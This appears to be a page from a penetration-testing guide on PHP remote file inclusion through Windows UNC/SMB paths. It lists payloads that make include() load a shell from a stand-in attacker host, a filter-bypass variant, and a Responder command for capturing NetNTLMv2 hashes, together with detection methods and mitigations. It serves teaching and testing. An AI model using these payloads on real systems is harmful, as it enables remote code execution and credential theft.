SMB and UNC Inclusion
On Windows a UNC path is a filesystem path, not a URL. allow_url_include never sees it — which makes this the one remote inclusion that survives the default configuration.
Why this one survives
allow_url_include governs PHP's stream wrapper layer. A UNC path never reaches it.
On Windows, \\host\share\file.php is handled by the Win32 filesystem API exactly like C:\dir\file.php. The redirector resolves the host, opens an SMB session, and returns a file handle. As far as PHP is concerned it opened a local file — so include() runs it, and the flag that was supposed to prevent remote inclusion is not consulted, because nothing in PHP classified this as remote.
This is the only path on this site where remote code from a host you control executes on a target with a completely stock php.ini. It costs you a Windows target and outbound port 445.
The payload
# Backslashes. In a query string these usually survive unencoded, but encode
# them if anything in the path is rewriting or normalising.
\\attacker.example\share\shell.php
# URL-encoded form.
%5C%5Cattacker.example%5Cshare%5Cshell.php
# Forward slashes also work — Windows accepts them throughout the Win32 API,
# and this form slips past a filter looking only for backslashes.
//attacker.example/share/shell.php
# By IP, which skips name resolution entirely.
\\203.0.113.10\share\shell.php
# If an extension is appended, name the file so the result is still valid.
\\attacker.example\share\shell -> becomes shell.php on the targetWhat has to be true
Four conditions, and the middle two are why this is rated AC:H rather than critical:
- The target runs Windows. No equivalent exists on Linux — a path beginning
\\is an ordinary relative filename with backslashes in it. (smbclient-style transparent mounting is not a thing PHP does.) - Outbound TCP 445 is permitted. This is the condition that usually fails. Egress filtering on 445 is close to universal on anything cloud-hosted, precisely because of NTLM relay, and has been for years.
- The web server account can open the share. It will try anonymous first. A domain-joined worker may also attempt NTLM authentication, which is where the secondary prize comes in.
- Your input reaches the start of the string. A prepended directory turns
\\host\shareinto a relative subdirectory. See PHP Wrappers and Streams.
The consolation prize is often better than the goal
If the target is domain-joined and reaches your listener, it may authenticate on the way — and you capture a NetNTLMv2 response for the account the worker runs as.
That happens whether or not the include succeeds. A blocked include that still made the SMB connection has already given you the hash.
# Responder captures it during the negotiation.
responder -I eth0
What you do with it depends on the account. A machine account hash is rarely crackable but is relayable. A service account with a weak password is crackable offline. Either way this is frequently worth more than a shell on one web worker, and it is why the technique is worth attempting even on a target where you expect the inclusion itself to fail.
Relaying is a separate technique with separate authorization requirements — make sure it is in scope before you go there. Capturing a hash your own listener was sent is not the same activity as relaying it into another host.
Confirming it without a shell
You do not need the include to succeed to prove the reachability, and the reachability is itself the finding.
Watch for the connection. Run your listener and send the payload. A TCP connection to 445 from the target's egress address proves the path was resolved and the redirector acted on it. That is server-side request forgery to an arbitrary host on an arbitrary port, reported as such, even if PHP then refused the file.
Time it. Against a non-routable address the request hangs for the SMB connect timeout — typically around 20 seconds — and then errors. Against a closed port it fails fast. A reliable timing difference between \\203.0.113.10\x and \\127.0.0.1\x confirms the target is trying to connect, even with no output and no listener.
That timing oracle is the fallback worth remembering: it works on a blind sink, needs no inbound connectivity to you, and distinguishes "the payload was rejected" from "the payload was acted on and the network stopped it".
Stopping it
- Block outbound 445 and 139. Do this regardless; the reasons long predate this technique.
- Allowlist the parameter. As everywhere else on this site, the actual fix is that the parameter stops being a path. See Defense in Depth.
open_basedirdoes stop it — a UNC path is not within any configured base directory, so resolution is refused before the redirector is involved. This is one of the cases whereopen_basediris genuinely load-bearing rather than defence in depth.- Do not rely on
allow_url_include=Off. That is the entire point of this guide. It is not consulted.
Related
The textbook payload: point the include at a file on your own host. It requires a configuration PHP stopped shipping in 2006, and it is still the first thing everyone tries.
Only PHP has an allow_url_include to turn off — but almost nowhere else has the sink it protects. Here is where remote inclusion genuinely exists outside PHP.
Traversal works because of specific, boring rules about how a string becomes a file. Knowing them turns guessing at ../ counts into arithmetic.
Two hardening settings that are worth having and are not fixes. Knowing exactly what each one confines tells you what is still reachable when you meet them.
Every encoding here targets a filter that inspects the input string. None of them targets path resolution, because resolution cannot be fooled by spelling.